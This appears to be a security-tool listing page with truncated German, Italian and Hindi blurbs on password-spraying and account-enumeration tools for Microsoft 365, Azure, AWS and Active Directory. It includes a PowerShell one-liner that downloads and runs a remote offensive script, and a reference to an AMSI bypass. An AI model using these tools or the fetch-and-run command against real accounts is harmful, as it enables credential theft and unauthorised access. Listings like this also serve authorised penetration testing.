MSOLSpray

MSOLSpray Ein Password-Spraying-Tool für Microsoft Online-Konten Azure/O365. Das Skript protokolliert, ob eine Benutzeranmeldung gültig ist, ob MFA auf dem Konto aktiviert ist, ob ein Tenant nicht existiert, ob ein Benutzer nicht existiert, ob das Konto gesperrt ist oder ob das Konto deaktiviert...

OWA-Password-Sprayer

OWA-Password-Sprayer OWA Password Sprayer Questo script Python facilita il password spraying contro gli endpoint di Outlook Web Access OWA. Il password spraying è una tecnica utilizzata per testare una singola password su più nomi utente, con l'obiettivo di trovare credenziali valide per accedere...

captaincredz

CaptainCredz TL;DR CaptainCredz ist ein modulares und dezent arbeitendes Password-Spraying-Tool mit erweiterten Funktionen wie einem Cache-Mechanismus und einer feingranularen Zeitsteuerung. Um CaptainCredz zu verwenden, könnten die folgenden Zeilen hilfreich sein: root@kitploit: TEXTEDITOR=nano...

Spray365

Was ist Spray365? Spray365 ist ein Tool zum Password Spraying, das gültige Anmeldedaten für Microsoft-Konten Office 365 / Azure AD identifiziert. Was unterscheidet Spray365 von den vielen anderen verfügbaren Password-Spraying-Tools? Spray365 ermöglicht das Durchführen von Password-Spraying auf...

Spray

Spray Ein Password-Spraying-Tool für Active Directory-Anmeldeinformationen von Jacob Wilkin Greenwolf Erste Schritte Diese Anleitung zeigt Ihnen die Voraussetzungen und die Verwendung von Spray. Voraussetzungen Alle Voraussetzungen sind auf Kali Linux vorinstalliert. Um auf anderen Distributionen...

trident

trident Das Trident-Projekt ist ein automatisiertes Passwort-Spraying-Werkzeug, das entwickelt wurde, um die folgenden Anforderungen zu erfüllen: die Fähigkeit, auf mehreren Cloud-Plattformen/Ausführungsanbietern bereitgestellt zu werden die Fähigkeit, Spraying-Kampagnen gemäß der...

GoAWSConsoleSpray

GoAWSConsoleSpray GoAWSConsoleSpray è uno strumento che può essere utilizzato per fare spray delle credenziali della console IAM di AWS al fine di identificare un login valido per un account utente. La CLI di AWS non offre un modo per autenticarsi tramite nome utente/password, solo la console web...

automato

automato.rb automato utilizza librerie LDAP native per automatizzare la raccolta e l'enumerazione di vari oggetti di directory. Questo è incredibilmente utile durante un test di penetrazione interno. automato può anche condurre attacchi di password spraying e identificare se un utente è un...

cerbrutus

Cerbrutus Strumento modulare di brute force scritto in Python, per un rapidissimo password spraying su SSH e FTP, e in un futuro prossimo altri servizi di rete. IN ARRIVO: SMB, HTTPs POST, HTTPs GET, HTTP BASIC AUTH Grazie a @0dayctf, Rondons, Enigma e 001 per i test e il contributo Installazione...

Oh365UserFinder

Oh365 User Finder v1.1.2 Oh365UserFinder è utilizzato per identificare account e domini o365 validi senza il rischio di blocchi degli account. Lo strumento analizza le risposte per identificare se il flag "IfExistsResult" è nullo o meno, e risponde appropriatamente se l'utente è valido. Lo...

ActiveReign

ActiveReign ⚠️ Grazie per il vostro supporto. Questo progetto non è più mantenuto pubblicamente. Contesto Qualche tempo fa mi è stato chiesto di scrivere uno strumento di scoperta con Python3 che potesse automatizzare il processo di ricerca di informazioni sensibili su condivisioni di file di rete...

TeamFiltration

TeamFiltration TeamFiltration ist ein plattformübergreifendes Framework zum Aufzählen, Spraien, Exfiltrieren und Hintertüröffnen von O365 EntraID-Konten. Lies die TeamFiltration Wiki-Seite für eine Einführung in die Funktionsweise von TeamFiltration und den Quick Start Guide, um loszulegen! Diese...

msprobe

msprobe Informazioni Installazione Utilizzo Esempi Prossimamente Riconoscimenti Informazioni Trovare tutte le cose on-prem Microsoft per password spraying ed enumerazione. Lo strumento utilizza un elenco di sottodomini comuni associati al tuo dominio apex target per tentare di scoprire istanze...

TREVORspray

TREVORspray 2.0 TREVORspray ist ein modularer Password-Sprayer mit Threading, SSH-Proxy, Loot-Modulen und mehr! Von @thetechr0mancer Installation: root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray...

vortex

🚩 Questo è il repository pubblico di vortex, per l'ultima versione e gli aggiornamenti ti invitiamo a supportarci tramite https://porchetta.industries/ Vortex VPN Overall Reconnaissance, Testing, Enumeration and Exploitation Toolkit 🚩 Sponsor Se desideri sponsorizzare questo progetto e avere gli...

Invoke-CleverSpray

Invoke-CleverSpray Script di Password Spraying per rilevare password correnti e precedenti di un utente di Active Directory di @flelievre Opzioni: -Password: Password da provare. -PasswordFile: Percorso del file contenente un elenco di password da provare. -Username: samAccountName dell'utente da...

SharpSpray

SharpSpray SharpSpray ist ein Tool zum Durchführen von Passwort-Spraying in Windows-Domänen, geschrieben in .NET C. Einführung SharpSpray ist ein C-Port von DomainPasswordSpray mit erweiterten und zusätzlichen Funktionen. Dieses Tool verwendet das LDAP-Protokoll, um mit den Active...

o365spray

o365spray o365spray è uno strumento per l'enumerazione degli username e lo spraying delle password, mirato a Microsoft Office 365 O365. Questo strumento reimplementa una raccolta di tecniche di enumerazione e spraying ricercate e identificate da coloro che sono menzionati in Riconoscimenti. Solo...

spraygen

Spraygen पासवर्ड स्प्रेइंग के लिए पासवर्ड सूची जनरेटर - अच्छाइयों से पहले से तैयार संस्करण 1.7 महीनों, ऋतुओं, वर्षों, खेल टीमों NFL, NBA, MLB, NHL, खेल स्कोर, "पासवर्ड" और एक निर्दिष्ट आकार के पुनरावृत्त कीस्पेस के क्रमपरिवर्तन उत्पन्न करता है। सभी क्रमपरिवर्तन सामान्य विशेषताओं के साथ उत्पन्न हो...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...